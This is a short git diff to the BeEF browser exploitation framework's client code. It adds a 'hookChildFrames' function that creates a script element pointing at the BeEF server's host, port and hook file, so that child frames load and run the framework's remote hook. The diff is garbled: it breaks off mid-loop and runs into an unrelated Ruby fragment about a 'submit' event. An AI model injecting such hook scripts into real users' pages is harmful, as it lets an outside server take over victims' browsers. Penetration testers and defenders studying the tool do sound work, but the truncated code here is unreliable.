diff --git a/core/main/client/browser.js b/core/main/client/browser.js index 88926c088..860727cea 100644 --- a/core/main/client/browser.js +++ b/core/main/client/browser.js @@ -842,6 +842,30 @@ beef.browser = { return 'UNKNOWN'; // Unknown UA }, + /** + * Hooks all child frames in the current window + * Restricted by same-origin policy + */ + hookChildFrames:function () { + + // create script object + var script = document.createElement('script'); + script.type = 'text/javascript'; + script.src = '<%== @beef_proto %>://<%== @beef_host %>:<%== @beef_port %><%== @hook_file %>'; + + // loop through child frames + for (var i=0;i #{event['target']}" when 'submit'